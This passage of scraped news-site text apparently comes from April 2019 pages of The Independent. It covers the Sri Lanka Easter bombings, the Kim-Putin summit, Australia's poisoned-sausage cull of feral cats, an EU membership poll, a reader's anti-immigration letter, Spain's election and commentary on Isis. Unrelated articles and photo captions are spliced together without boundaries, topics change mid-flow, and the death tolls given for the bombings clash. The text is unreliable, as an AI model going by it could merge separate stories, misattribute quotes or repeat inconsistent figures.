the Easter bombings. Suicide bomb vests have previously been packed with metal balls to increase the shrapnel in the explosion. Sri Lanka: Scene of the bomb attacks and aftermath Show all 38 1 /38 Sri Lanka: Scene of the bomb attacks and aftermath Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan Special Task Force officers raid a house following an explosion in capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A blood-spattered statue of Jesus Christ while crime scene officials inspect the site of a bomb blast, as the sun shines through the blown-out roof, inside St Sebastian's Church in Negombo Reuters Sri Lanka: Scene of the bomb attacks and aftermath A police officer inspects the damage after a bombing at the Shangri-La Hotel in Sri Lankan capital Colombo AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan soldiers look on inside the St Sebastian's Church at Katuwapitiya in Negombo following a bomb blast during the Easter service AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman cries next to a coffin of a bomb blast victim. A series of eight devastating bomb blasts ripped through high-end hotels and churches holding Easter services in Sri Lanka on April 21, killing more than 300 people AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath People who live near the church that was attacked the day before, leave their houses as the military try to defuse a suspected van before it exploded in Colombo Reuters Sri Lanka: Scene of the bomb attacks and aftermath Shoes and belongings of victims are collected as evidence at St Sebastian's Church AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan police were forded to clear an area while Special Task Force Bomb Squad officers inspected the site of an exploded van near a church the day after it was attacked Reuters Sri Lanka: Scene of the bomb attacks and aftermath The Kingsbury Hotel in Colombo, Sri Lanka following a bombing AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Queues at the National Blood Bank in Colombo, Sri Lanka after a request for blood to aid in recovery efforts Mr Lavasquabble/Twitter Sri Lanka: Scene of the bomb attacks and aftermath Medical response team work to remove dead bodies from the scene of bombings in Sri Lankan capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan security personnel inspect the debris of a car after it exploded when police tried to defuse a bomb AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Security personnel work at the scene of a bombing at a church in Batticaloa in Sri Lanka AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman is helped near St Anthony's Shrine after a blast in Colombo, Sri Lanka, on Sunday 21 April 2019. At least 130 people were killed and more than 500 hospitalised after near-simultaneous explosions hit three hotels and three churches on Easter Sunday. AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan police officers clear the road as an ambulance drives through carrying injured of church blasts in Colombo, Sri Lanka, on Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan soldier stands guard near a car explosion AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A woman prays at St. Sebastian's Church in Negombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Priests stand inside St Anthony's Shrine, Kochchikade church on the outskirts of Colombo after a bombing Reuters Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan woman living near St. Anthony's shrine runs for safety with her infant after police found explosive devices in a parked vehicle in Colombo AP Sri Lanka: Scene of the bomb attacks and aftermath People react during a mass for victims, two days after a string of suicide bomb attacks on churches and luxury hotels Reuters Sri Lanka: Scene of the bomb attacks and aftermath Security personal react as a device was detonated in a controled explosion in a van near the St Anthony's Church EPA Sri Lanka: Scene of the bomb attacks and aftermath Security forces inspect the scene of a bombing at the Shangri-La Hotel in Sri Lankan capital Colombo Getty Sri Lanka: Scene of the bomb attacks and aftermath The Kingsbury hotel in Colombo, Sri Lanka after a bombing attack Getty Sri Lanka: Scene of the bomb attacks and aftermath The damaged interior of a church in Negombo, Sri Lanka following a bombing attack Reuters Sri Lanka: Scene of the bomb attacks and aftermath Police and security personnel stand guard outside the Shangri-La Hotel in Sri Lankan capital Colombo following a bombing attack EPA Sri Lanka: Scene of the bomb attacks and aftermath Debris is seen at St Anthony's Church in this still image from video footage after explosions hit churches and hotels in Colombo, Sri Lanka, on 21 April 2019 Derana TV/via Reuters Sri Lanka: Scene of the bomb attacks and aftermath Damage inside a church following a bombing attack AP Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan Special Task Force officer scales a house during a raid following an explosion in capital Colombo AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath A general interior view showing damage after an explosion hit St Anthony's Church in Kochchikade, Colombo, Sri Lanka, on Sunday 21 April 2019 EPA Sri Lanka: Scene of the bomb attacks and aftermath Priests walk into St Anthony's Shrine Kochchikade church after an explosion in Colombo, Sri Lanka, on 21 April 2019 Reuters Sri Lanka: Scene of the bomb attacks and aftermath A Sri Lankan police officer stands outside St Anthony's Shrine in Colombo, Sri Lanka, after a blast on Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath A shoe of a victim is seen in front of the St Anthony's Shrine, Kochchikade Church Reuters Sri Lanka: Scene of the bomb attacks and aftermath Local and security officials gather at the scene at St Anthony's Church in Kochchikade, Colombo, Sri Lanka EPA Sri Lanka: Scene of the bomb attacks and aftermath An ambulance is seen outside the church premises with gathered security personnel following a blast at St Anthony's Shrine in Kochchikade, Colombo, on Sunday 21 April 2019 AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Armed policemen patrol the area after an explosion hit at St Anthony's Church in Kochchikade in Colombo, Sri Lanka, 21 April 2019 EPA Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan Army soldiers secure the area around St. Anthony's Shrine after a blast in Colombo, Sri Lanka, Sunday 21 April 2019 AP Sri Lanka: Scene of the bomb attacks and aftermath Sri Lankan security personnel keep watch outside the church premises following a blast at the St Anthony's Shrine in Kochchikade, Colombo, on Sunday 21 April 2019 AFP/Getty Sri Lanka: Scene of the bomb attacks and aftermath Police officers inspect the scene after an explosion hit at St Anthony's Church in Kochchikade in Colombo, Sri Lanka, 21 April 2019 EPA Police also announced a 24-hour curfew until further notice in the Muslim-dominated area where Fridays shooting took place. Since the suicide bombings on churches and hotels in which more than 250 people were killed, police and military personnel have been conducting raids across the country. The authorities are trying to track down 140 people believed linked to Isis, which claimed responsibility for the bombings. Police have detained at least 76 people, including foreigners from Syria and Egypt, in their investigations so far. Isis provided no evidence to back its claim that it was behind the attacks. If true, it would be one of the worst attacks carried out by the group outside Iraq and Syria. The extremist group released a video on Tuesday showing eight men standing under a black Isis flag and declaring their loyalty to its leader, Abu Bakr Al-Baghdadi. Sri Lankan security personnel guard house of one of the suspected suicide bombers in Colombo, April 23 (AFP) The government said nine homegrown, well-educated suicide bombers carried out the attacks, eight of whom had been identified. One was a woman. Authorities have so far focused their investigations on international links to two domestic Islamist groups National Thawheed Jamaut and Jammiyathul Millathu Ibrahim they believe carried out the attacks. Government officials have acknowledged a major lapse in not widely sharing an intelligence warning from India before the attacks. President Maithripala Sirisena said top defence and police chiefs had not shared information with him. The police chief said he will resign now, Mr Sirisena said. He blamed Prime Minister Ranil Wickremesinghes government for weakening the intelligence system by focusing on the prosecution of military officers over alleged war crimes during a decade-long civil war with Tamil separatists that ended in 2009. A security officer stands guard outside St Anthonys Shrine (Reuters) Mr Sirisena fired Mr Wickremesinghe in October over political differences, only to reinstate him weeks later under pressure from the Supreme Court. Opposing factions aligned to Mr Wickremesinghe and Mr Sirisena have often refused to communicate with each other and blame any setbacks on their opponents, government sources say. Sri Lankas former wartime defence chief, Gotabaya Rajapaksa, said on Friday he would run for president in elections this year and would stop the spread of Islamist extremism by rebuilding the intelligence service. Gotabaya, as he is popularly known, is the younger brother of former president Mahinda Rajapaksa and the two led the country to a crushing defeat of separatist Tamil rebels a decade ago after a 26-year civil war. Sri Lanka bombings: CCTV shows suspect moments before church blast Muslims in Sri Lanka were urged to pray at home and not after the State Intelligence Services warned of possible car bomb attacks, amid fears of retaliatory violence. There will be no Sunday Masses until further notice after the Easter bombings in Sri Lanka, the Archbishop of Colombo has said. The US Embassy in Sri Lanka also urged its citizens to avoid places of worship over the weekend after authorities reported there could be more attacks targeting religious centres. Muslim worshippers attend Friday prayers at Dawatagaha Jumma Masjid in Colombo, Sri Lanka (Getty Images) Meanwhile, Kingston University in southwest London has confirmed a student with the same name as one of the suspected Sri Lanka bombers attended the establishment during 2006 and 2007. Abdul Lathief Jameel Mohamed previously named in media reports is said to have studied aerospace engineering at the university. British security officials confirmed that they are investigating Mohameds stay in this country. A spokeswoman for the university confirmed on Friday he is listed on records as Jameel Mohamed Abdul Lathief. The university does not tolerate any form of incitement to hatred or violence, and condemns in the strongest terms extremist activity, she said. Additional reporting by agencies North Korean leader Kim Jong-un has accused the US of acting in bad faith at his summit with Donald Trump in Vietnam earlier in the year. Mr Kim made the comments during talks on Thursday with Russian president Vladimir Putin, who he met for the first time in Vladivostok. According to a report from the nations state-run Korean Central News Agency (KCNA), Mr Kim told the Russian president that the situation on the Korean peninsula and the region is now at a standstill, and has reached a critical point. He added that this was because the US took a unilateral attitude in bad faith at the recent second DPRK-US summit talks which took place in Hanoi two months ago. Mr Kim also told the Russian president that peace and security on the Korean Peninsula will entirely depend on the USs future attitude, and the DPRK [North Korea] will guard itself for every possible situation. Kim-Putin summit: Leaders meet for first talks in Russia Show all 10 1 /10 Kim-Putin summit: Leaders meet for first talks in Russia Kim-Putin summit: Leaders meet for first talks in Russia Russian President Vladimir Putin and North Korean leader Kim Jong Un pose for the media prior to talks in Vladivostok, Russia EPA Kim-Putin summit: Leaders meet for first talks in Russia Russian President Vladimir Putin and North Korean leader Kim Jong Un pose for the media prior to talks in Vladivostok, Russia AP Kim-Putin summit: Leaders meet for first talks in Russia Putin and Kim walk on campus of the Far Eastern Federal University prior to talks AFP/Getty Kim-Putin summit: Leaders meet for first talks in Russia Kim Jong Un presents Putin with a traditional Korean sword as a gift AP Kim-Putin summit: Leaders meet for first talks in Russia Putin and Kim Jong Un share a toast AP Kim-Putin summit: Leaders meet for first talks in Russia Putin and Kim prior to talks in Vladivostok Reuters Kim-Putin summit: Leaders meet for first talks in Russia Journalists watch a live as North Korean leader Kim Jong Un and Russian President Vladimir Putin hold talks AP Kim-Putin summit: Leaders meet for first talks in Russia Putin and Kim prior to talks in Vladivostok AP Kim-Putin summit: Leaders meet for first talks in Russia Who did it better? Getty Kim-Putin summit: Leaders meet for first talks in Russia Putin earlier met with Kim Jong Un's father and former North Korean leader Kim Jong Il in 2002 AP Mr Putin, who has intimated he would be interested in playing a bigger role in helping to break what has become a new stand-off with Washington, is said to have accepted an invitation to visit North Korea at a convenient time. KCNA also claimed that Mr Putin had credited Mr Kims diplomatic moves with both the US and South Korea for stabilising the situation on the peninsula. However, no specific proposals have been released from either Pyongyang or Moscow, suggesting there has been no significant shift in Mr Kims position that Pyongyang needs nuclear weapons to protect its national security. Mr Putin has said that Mr Kim is willing to give up its nuclear programme but not without ironclad security guarantees and a multi-national agreement. That is the position Mr Kim has laid out to Mr Trump during his two summits, one in Singapore last year and the other in Vietnam in February. While Mr Trump and Mr Kim spent a significant proportion of last year praising each others diplomatic efforts a contrast to the nuclear-tinged threats the pair traded in 2017 the last few months have been characterised by a significant cooling of relations. Donald Trump told reports at the White House on Friday: I think we're doing very well with North Korea. A lot of progress is being made. I appreciated President Putin's statement yesterday. He wants to see it done also. I think there's a lot of excitement for getting a deal done with North Korea, he said. While Mr Trump has said he could welcome input from Moscow, it would complicate matters given that Mr Putin has frequently been critical of the international sanctions being used to keep Pyongyang in check. Part of the reason for Mr Kims visit to Russia was to ask for financial support or a pact to work around the sanctions. More than 10,000 North Korean workers are set to have to leave Russia by the end of the year under a UN framework, damaging a significant source of income for Pyongyang. Support free-thinking journalism and attend Independent events The Kremlin intends to brief the US on the contents of the summit which ended with Mr Kim leaving more than four hours earlier than anticipated on Friday with no reason given. Deputy foreign minister Sergei Ryabkov told the RIA Novosti news agency they were just waiting for the Russian delegation to return to Moscow. Mr Putin left before Mr Kim, heading for a two-day meeting with Beijing, where he said he would also update China on the summit. The Australian government is airdropping poisonous sausages across thousands of hectares of land in an effort to kill millions of feral cats, according to reports. It is just one of the tactics used by the government as part its plan to kill two million feral cats by 2020 in order to protect native species. Cats are also trapped and shot by government officials. The cats die within 15 minutes after eating the sausages made with kangaroo meat, chicken fat, herbs, spices and the poison, 1080, the New York Times reported. Planes distributing the poisoned treats, which are produced at a factory close to Perth, drop 50 sausages every kilometre in areas where the cats roam free. Wildlife photographer of the year Show all 26 1 /26 Wildlife photographer of the year Wildlife photographer of the year A polar bear's struggle - Highly Commended Justins whole body pained as he watched this starving polar bear at an abandoned hunter's camp, in the Canadian Arctic, slowly heave itself up to standing. With little, and thinning, ice to move around on, the bear is unable to search for food. Justin Hofman / Natural History Museum Wildlife photographer of the year Curious Encounter - Shortlisted Cristobal Serrano, Spain. Any close encounter with an animal in the vast wilderness of Antarctica happens by chance, so Cristobal was thrilled by this spontaneous meeting with a crabeater seal off of Cuverville Island, Antarctic Peninsula. These curious creatures are protected and, with few predators, thrive. Cristobal Serrano / Natural History Museum Wildlife photographer of the year Bond of brothers - Winner David Lloyd, New Zealand / UK. These two adult males, probably brothers, greeted and rubbed faces for 30 seconds before settling down. Most people never have the opportunity to witness such animal sentience, and David was honoured to have experienced and captured such a moment.The picture was taken in Ndutu, Serengeti, Tanzania. David Lloyd / Natural History Museum Wildlife photographer of the year Fox meets fox - Highly Commended Matthew Maran, UK. Matthew has been photographing foxes close to his home in north London for over a year and ever since spotting this street art had dreamt of capturing this image. After countless hours and many failed attempts his persistence paid off. Matthew Maran / Natural History Museum Wildlife photographer of the year Three Kings - Highly Commended Wim Van Den Heever, South Africa. Wim came across these king penguins on a beach in the Falkland Islands just as the sun was rising. They were caught up in a fascinating mating behaviour the two males were constantly moving around the female using their flippers to fend the other off. Wim Van Den Heever / Natural History Museum Wildlife photographer of the year One toy, three dogs - Highly Commended Bence Mate, Hungary. While adult African wild dogs are merciless killers, their pups are extremely cute and play all day long. Bence photographed these brothers in Mkuze, South Africa they all wanted to play with the leg of an impala and were trying to drag it in three different directions! Bence Mate / Natural History Museum Wildlife photographer of the year Clam Close-up - Shortlisted David Barrio, Spain. This macro-shot of an iridescent clam was taken in the Southern Red Sea, Marsa Alam, Egypt. These clams spend their lives embedded amongst stony corals, where they nest and grow. It took David some time to approach the clam, fearing it would sense his movements and snap shut! David Barrio / Natural History Museum Wildlife photographer of the year The Orphaned Beaver - Shortlisted Suzi Eszterhas, United States. A one-month-old orphaned North American beaver kit is held by a caretaker at the Sarvey Wildlife Care Center in Arlington, Washington. Luckily it was paired with a female beaver who took on the role of mother and they were later released into the wild. Suzi Eszterhas / Natural History Museum Wildlife photographer of the year Ice and Water - Shortlisted Audun Lie Dahl, Norway. The Brasvellbreen glacier moves southwards from one of the ice caps covering the Svalbard Archipelago, Norway. Where it meets the sea, the glacier wall is so high that only the waterfalls are visible, so Audun used a drone to capture this unique perspective Audun Lie Dahl / Natural History Museum Wildlife photographer of the year Teenager - Shortlisted Franco Banfi, Switzerland. Franco was free diving off Dominica in the Caribbean Sea when he witnessed this young male sperm whale trying to copulate with a female. Unfortunately for him her calf was always in the way and the frisky male had to continually chase off the troublesome calf. Franco Banfi / Natural History Museum Wildlife photographer of the year Resting Mountain Gorilla - Shortlisted David Lloyd. The baby gorilla clung to its mother whilst keeping a curious eye on David. He had been trekking in South Bwindi, Uganda, whenhe came across the whole family. Following them, they then stopped in a small clearing to relax and groom each other. David Lloyd / Natural History Museum Wildlife photographer of the year Painted Waterfall - Shorltisted Eduardo Blanco Mendizabal, Spain. When the sun beams through a hole in the rock at the foot of the La Foradada waterfall, Catalonia, Spain, it creates a beautiful pool of light. The rays appear to paint the spray of the waterfall and create a truly magical picture. Eduardo Blanco Mendizabal / Natural History Museum Wildlife photographer of the year The Extraction - Shortlisted Konstantin Shatenev, Russia. Every winter, hundreds of Steller's sea eagles migrate from Russia, to the relatively ice-free northeastern coast of Hokkaido, Japan. They hunt for fish among the ices floes and also scavenge, following the fishing boats to feed on any discards. Konstantin took his image from a boat as the eagles retrieved a dead fish thrown onto the ice. Konstantin Shatenev / Natural History Museum Wildlife photographer of the year Shy - Shortlisted Pedro Carrillo, Spain. The mesmerizing pattern of a beaded sand anemone beautifully frames a juvenile Clarkii clownfish in Lembehstrait, Sulawesi, Indonesia. Known as a 'nursery' anemone, it is often a temporary home for young clownfish until they find a more suitable host anemone for adulthood. Pedro Carrillo / Natural History Museum Wildlife photographer of the year Red, Silver and Black - Shortlisted TinMan Lee, USA. Tin was fortunate enough to be told about a fox den in Washington State, North America, which was home to a family of red, black and silver foxes. After days of waiting for good weather he was finally rewarded with this touching moment. Tin Man Lee / Natural History Museum Wildlife photographer of the year Isolated - Shortlisted Anna Henly, UK. Snapped from a helicopter, this isolated tree stands in a cultivated field on the edge of a tropical forest on Kauai, Hawaii. The manmade straight lines of the ploughed furrows are interrupted beautifully by natures more unruly wild pattern of tree branches. Anna Henly / Natural History Museum Wildlife photographer of the year Sound Asleep - Shortlisted Tony Wu, USA. This adult humpback whale balanced in mid-water, headon and sound asleep was photographed in Vavau, Kingdom of Tonga. The faint stream of bubbles, visible at the top, is coming from the whales two blowholes and was, in this instance, indicative of an extremely relaxed state. Tony Wu / Natural History Museum Wildlife photographer of the year All That Remains - Shortlisted Phil Jones, UK. A male orca had beached itself about a week before Phils visit to Sea Lion Island, Falkland Islands. Despite its huge size the shifting sands had almost covered the whole carcass and scavengers, such as this striated caracara, had started to move in. Phil Jones / Natural History Museum Wildlife photographer of the year Ambush - Shortlisted Federico Veronesi, Kenya. On a hot morning at the Chitake Springs, in Mana Pools National Park, Zimbabwe, Federico watched as an old lioness descended from the top of the riverbank. Shed been lying in wait to ambush any passing animals visiting a nearby waterhole further along the riverbed. Federico Veronesi / Natural History Museum Wildlife photographer of the year Gliding - Shortlisted Christian Vizl, Mexico. With conditions of perfect visibility and beautiful sunlight, Christian took this portrait of a nurse shark gliding through the ocean off the coast of Bimini in the Bahamas. Typically these sharks are found near sandy bottoms where they rest, so its rare to see them swimming. Christian Vizl / Natural History Museum Wildlife photographer of the year Otherworldly - Shortlisted A school of Munk's devil ray were feeding on plankton at night off the coast of Isla Espiritu Santo in Baja California, Mexico. Franco used the underwater lights from his boat and a long exposure to create this otherworldly image. Franco Banfi / Natural History Museum Wildlife photographer of the year The Bats Wake - Shortlisted Antonio Leiva Sanchez, Spain. After several months of field research into a little colony of greater mouse-eared bats in Sucs, Lleida, Spain, Antonio managed to capture this bat mid-flight. He used a technique of high speed photography with flashes combined with continuous light to create the wake. Antonio Leiva Sanchez / Natural History Museum Wildlife photographer of the year Under the Snow - Shortlisted Audren Morel, France. Unafraid of the snowy blizzard, this squirrel came to visit Audren as he was taking photographs of birds in the small Jura village of Les Fourgs, France. Impressed by the squirrels endurance, he made it the subject of the shoot. Audren Morel / Natural History Museum Wildlife photographer of the year Unique Bill - Shortlisted Rob Blanken, The Netherlands. The pied avocet has a unique and delicate bill, which it sweeps like a scythe, as it sifts for food in shallow brackish water. This stunning portrait was taken from a hide in the northern province of Friesland in The Netherlands. Rob Blanken / Natural History Museum Wildlife photographer of the year Family Portrait - Shortlisted Connor Stefanison, Canada. A great grey owl and her chicks sit in their nest in the broken top of a Douglas fir tree in Kamloops, Canada. They looked towards Connor only twice as he watched them during the nesting season from a tree hide 50 feet (15 metres) up. Connor Stefanison / Natural History Museum Wildlife photographer of the year A dog jumps to catch a disc during a dog frisbee competition in Poznan via REUTERS Dr Dave Algar, who helped develop the poison recipe, said he used his cats to test the taste of the sausages before adding the poison to check the flavour. "They've got to taste good, he told the paper. They are the cat's last meal." Feral cat captured by remote camera at Mount Royal National Park (Wikimedia Commons) Since they were first introduced by European settlers, feral cats have helped drive an estimated 20 mammal species to extinction, Gregory Andrews, the national commissioner of threatened species told the Sydney Morning Herald. According to Mr Andrews, that makes feral cats the single biggest threat to Australia's native species. "We have got to make choices to save animals that we love, and who define us as a nation like the bilby, the warru (Black-footed rock-wallaby) and the night parrot," he said. It is estimated that cats kill 377 million birds and 649 million reptiles every year in Australia, according to a 2017 study published in the journal Biological Conservation. Recommended New Zealand council plans to ban all pet cats When the Australian government first announced its cat culling target in 2015, it drew international criticism. More than 160,000 people signed half a dozen online petitions calling on Australia to drop the plan. Brigette Bardot wrote a letter calling on the government to stop animal genocide, while Morissey responded by saying "idiots rule the earth". The cull has also come under fire from some conservationists who argue that the government are focusing too heavily on cats, rather than addressing other factors that reduce biodiversity such as urban expansion, logging and mining. Tim Doherty, a conservation ecologist from Deakin University in Australia, told CNN: "There's a possibility there that cats are being used as a distraction to some extent," he said. "We also need to have a more holistic approach and address all threats to biodiversity." Support free-thinking journalism and attend Independent events Despite the more creative methods employed in the governments cat cull, individual shooters are responsible for the 83 per cent of the cats killed so far, according to The Royal Melbourne Institute. And Australia is not the only country to focus on reducing cat populations, with calls in New Zealand to put a stop to domestic cats altogether. The country has announced a goal of becoming completely predator free by 2050. And last year, Omaui, a small coastal town in the South Island, considered banning people from owning cats although it has since backtracked on this plan. Support for remaining in the EU stands at well over 80 per cent in the majority of member states, a new continent-wide poll has found with Britains political crisis apparently a poor advert for leaving. The survey by Kantar asked people how they would vote in an in-out referendum and found that Luxembourg (94 per cent), Portugal (92 per cent), Ireland (91 per cent), and the Netherlands (91 per cent) had the highest support for EU membership out of the 28 countries in the bloc. Apart from the UK the highest level of support for leaving was in the Czech Republic, where 66 per cent supported Remain and 34 per cent Leave. Italy was close behind as the next most Eurosceptic country, with 72 per cent Remain and 28 per cent Leave. Austria and France were the third and fourth most Eurosceptic. Every country bar the Czech Republic had more than 70 per cent in favour of Remain, with about two-thirds showing support of more than 80 per cent. Where older figures are available for comparison, the poll generally shows substantial moves in favour of EU membership. In Estonia Remain has broadened the gap by 12 per cent since the last poll in September, while Italys gap has widened by 14 per cent. The poll has the state of opinion in the UK on 55 per cent Remain and 45 per cent Leave, roughly in line with other voting-intention polls which has shown a moderate shift to Remain since Brexit talks went south. The results will disappoint Brexiteers, some of whom had predicted a domino effect of other countries leaving the EU after Britain, and the disintegration of the European project. But with Britains departure going less smoothly than planned, no other countries appear to be rushing towards the exit door. Other than Brexit, support for the EU may be growing because of the easing of austerity across the continent, and a growing distance between the present and the peak of the eurozone crisis. Farage launches his new Brexit Party: in pictures Show all 10 1 /10 Farage launches his new Brexit Party: in pictures Farage launches his new Brexit Party: in pictures Nigel Farage speaks at the launch of his new Brexit Party's campaign for the European elections Reuters Farage launches his new Brexit Party: in pictures Brexit Party candidate Annunziata Rees-Mogg, sister of Conservative MP Jacob Rees-Mogg, speaks at the launch AFP/Getty Farage launches his new Brexit Party: in pictures A supporter waits for Farage to speak AFP/Getty Farage launches his new Brexit Party: in pictures Supporters wait for Farage to speak AFP/Getty Farage launches his new Brexit Party: in pictures Farage's socks Reuters Farage launches his new Brexit Party: in pictures Farage and prospective candidate Annunziata Rees-Mogg wait at the launch AFP/Getty Farage launches his new Brexit Party: in pictures Supporters listen as Farage speaks AFP/Getty Farage launches his new Brexit Party: in pictures Free T-shirts for all attendees AFP/Getty Farage launches his new Brexit Party: in pictures Posters on the seats for supporters of the Brexit Party AFP/Getty Farage launches his new Brexit Party: in pictures A safety sign is pictured AFP/Getty Paradoxically, the high levels of support for EU membership come ahead of European parliament elections next month where Eurosceptic and populist parties are expected to make gains. EU leaders are set to hold a summit next month in Sibiu, Romania, where they will unveil their plans for the future of the union and ideas to renew it. Stop going after Trump: Its too bad our federal government, specifically Democrats and some Republicans, are so hell-bent on getting Trump that theyve completely lost sight of what they were elected to do. And that is to save the USA. We are being overrun by illegal immigrants. They are taking over our country little by little. We have Democratic socialists who are getting elected to our Congress, and who are taking tax dollars from people working very hard and struggling and giving it to people who dont want to do an honest days work. There are so many other things that need to get done. And all this damn Congress wants to do is get Trump, get Trump. We have to get our government back on track. Remember all these congressmen and senators are getting paid by your tax dollars. If these government officials continue to do this, we need to fire every freakin one of them. One of Spains most competitive and polarised election campaigns since its transition to democracy came to an end on Friday, with the ruling Socialist Party (PSOE) predicted to win enough seats in Sundays snap poll to stay in power and keep out the threat from the far right. Five parties are each on course to win more than 30 of the 350 seats in Spains congress all of whom, in addition to a smaller Catalan nationalist group, have conflicting and potentially irreconcilable views on key issues, such as Catalonia, high levels of unemployment and immigration, and recent feminist trends. The result could mean a return to political gridlock, particularly as latest polls suggest that neither a feasible left-leaning nor right-leaning bloc may end up with sufficient MPs to assemble a government on its own, without making painful concessions to the other side, or reopening the Catalan independence question. Broadly speaking, the outcome is already decided, Juan Rodriguez Teruel, a senior politics professor at the University of Valencia, told The Independent. Its clear that the Socialists will win the most seats, and I find it difficult to see any alternative right-wing majority. With weaker parties and leaders under increased pressure, our expectations of a workable consensus should be lower, not higher, he added. The only parties that can hope for any kind of victory are ones which want to be kingmakers, or thrive off instability or inertia. Strikers light fires and clash with police in Catalonia Show all 11 1 /11 Strikers light fires and clash with police in Catalonia Strikers light fires and clash with police in Catalonia Police officers work to remove burning tires that were placed in the road by demonstrators during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers work to remove burning tires that were placed in the road by demonstrators during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Graffiti reads 'February 21st National Strike' during the Catalan general strike EPA Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers remove demonstrators who are blocking a road in Barcelona during Catalonia's General Strike AP Strikers light fires and clash with police in Catalonia Police officers work to remove burning tires that were placed in the road by demonstrators during Catalonia's General Strike Reuters Prime Minister Pedro Sanchez, having led the Socialists to an historic low at the last elections in June 2016, stormed into office 10 months ago after staging a shock no-confidence vote against the then conservative government, backed by left-wing Podemos (now Unidas Podemos) and regional nationalist parties. Holding less than a quarter of the seats in the Spanish parliament, Sanchez had little choice but to seek a public mandate through fresh elections when Catalan separatists blocked his budget in February, blaming his refusal to sanction a referendum on independence. However, a further collapse of the left seems no longer likely to materialise, despite initial forecasts that a coalition of parties clamouring for Spanish unity, including far-right insurgents Vox, would repeat their success of last Decembers regional election in Andalusia. Instead, the fragmentation of the right-wing vote, partly a reaction to the Catalan secessionist drive with swathes of traditional Partido Popular (PP) supporters shifting to Vox or centre-right Ciudadanos is set to hand the Socialists their first election victory in over a decade. Its clear that the Socialists will win the most seats, and I find it difficult to see any alternative right-wing majority Juan Rodriguez Teruel If Sanchez succeeds this weekend as expected, the 47-year-old a pragmatist for some and opportunist to the rest will have the unfavourable task of reaching out for a consensus in a divided Spain, or face going back to the people for a fourth general election in as many years. On a last dash to Barcelona at the climax of the campaign, the nationwide parties put on rallies at sites chosen to symbolise Catalonias cultural and economic ties with Spain, though all sides remained eager to sound uncompromising. Pro-independence leaders must stop deceiving the Catalan people, Sanchez told a rally at a former Olympic venue in the citys north-eastern heights. There is not going to be a referendum, there is not going to be independence, nor any breach of the Spanish Constitution. On the other side of town, Albert Rivera, whose Ciudadanos party was set up primarily to oppose Catalan independence, accused Sanchez of being a traitor for attempting dialogue with the separatists and urged voters to kick him out. Recommended Catalans fear rising tide of racism after attacks on migrant children This is not left against right, but constitutionalism against populism and Catalan nationalism, he said in a speech at the old docklands, claiming Sanchez would grant a presidential pardon for the Catalan politicians currently on trial following the unsanctioned referendum of 2017. Meanwhile, PP leader Pablo Casado, who is battling Rivera for his mainstream conservatives to remain the second-largest party, took an even more hardline approach, pledging to revoke Catalonias constitutional right to self-rule and labelling Sanchez as a hostage to those who want to break up Spain. Yet, the splintering and then hardening of the right goes beyond Spains north-eastern corner, originating from opposition to the PPs more moderate stance under ex-Prime Minister Mariano Rajoy, and the corruption scandal that caused his government to be ousted last June. Catalonia President Quim Torra: Catalan separatists trial 'terrible mistake' The split has been intensified by the rise of Vox, unknowns at the time of the no-confidence vote, which is now aiming to be the first ultranationalist party to gain representation in Spanish national politics since the death of Franco. In front of around 5,000 converts in Valencia on Thursday, its leader Santiago Abascal ran through a familiar script of far-right policies, similar in substance but tougher rhetorically than the PP: slashing taxes, deporting unregistered migrants, banning abortion and same-sex marriage. This is not left against right, but constitutionalism against populism and Catalan nationalism Albert Rivera, Ciudadanos Voxs demands are drastically different to the aspirations of the Socialists, who appear open to an alliance with Unidas Podemos on the basis of rigorous social reform, though they would still need to contrive to secure the confidence of at least the Catalan nationalists or Ciudadanos. Nevertheless, with Spain reflecting on the prospect of a weakened right-wing establishment and another cycle of volatility and new elections, Vox might be the only party celebrating as Sunday night becomes Monday morning. Q My female pals and I are planning a European trip away from Cardiff to celebrate a few of us turning 50 next year (not me!). Ibiza is on the cards but we may be too young for that party island. Any suggestions? Eleri S A I have narrowed the search to destinations served direct this summer from Cardiff, rather than involving a journey to Bristol airport or an even more distant location such as Birmingham. Western governments have been swift to pledge action to strike at Isis, as it becomes clear that the organisation was behind the suicide bombings that killed 253 people in Sri Lanka. A video released by Isis after the attacks shows Zahran Hashim, an Islamic preacher and alleged leader of the bombers, pledging allegiance together with six other men also thought to be bombers to the self-declared caliph and leader of Isis, Abu Bakr al-Baghdadi. Western leaders, as is usual, are proposing easy or unattainable action that will do little to damage Isis capabilities such as trying to limit its access to social media while steering clear of potentially more effective but difficult to implement policies to eradicate Isis that might be contrary to their national interests. The best way to weaken Isis to the point where it can no longer orchestrate or carry out mass slaughter, like that in Sri Lanka last Sunday, is to bring an end to the wars in the Middle East and North Africa 